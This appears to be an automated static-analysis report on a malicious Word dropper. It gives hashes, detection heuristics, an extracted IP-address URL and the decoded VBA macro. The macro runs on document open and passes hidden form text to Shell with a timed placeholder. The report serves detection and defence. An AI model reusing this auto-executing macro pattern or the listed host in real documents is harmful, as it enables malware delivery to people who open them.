Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0bab91b3290a63c1…

MALICIOUS

Office (OLE)

179.5 KB Created: 2019-06-17 20:31:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: 749042d0832ad213c28d2222a1b403e4 SHA-1: 84171e967cf6c9f1df44f8faaaa497171146fcaf SHA-256: 0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57e
170 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6995889-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6995889-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Replace(UserForm1.TextBox1.Text, "12:12", time)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub document_open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://195.123.245.185/04m In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 1194 bytes
SHA-256: 50fb01cbbcc3f5b2dc390b89ef6f821350f5627f27396bd1253f09ef90dca945
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
UserForm2.Show
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C4F19328-D0AA-4262-A25F-32255BD3D0B1}{C5615178-6DF1-4483-85A4-B017BF13544A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{8EE582C5-8C3A-4967-95AE-2EE39EEE7F28}{C2792EE8-0D0F-419D-818D-39B69EF0FF35}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
Dim time
time = Format(Now + TimeSerial(0, 0, 19), "hh:mm")


Shell Replace(UserForm1.TextBox1.Text, "12:12", time)
Unload Me
End Sub

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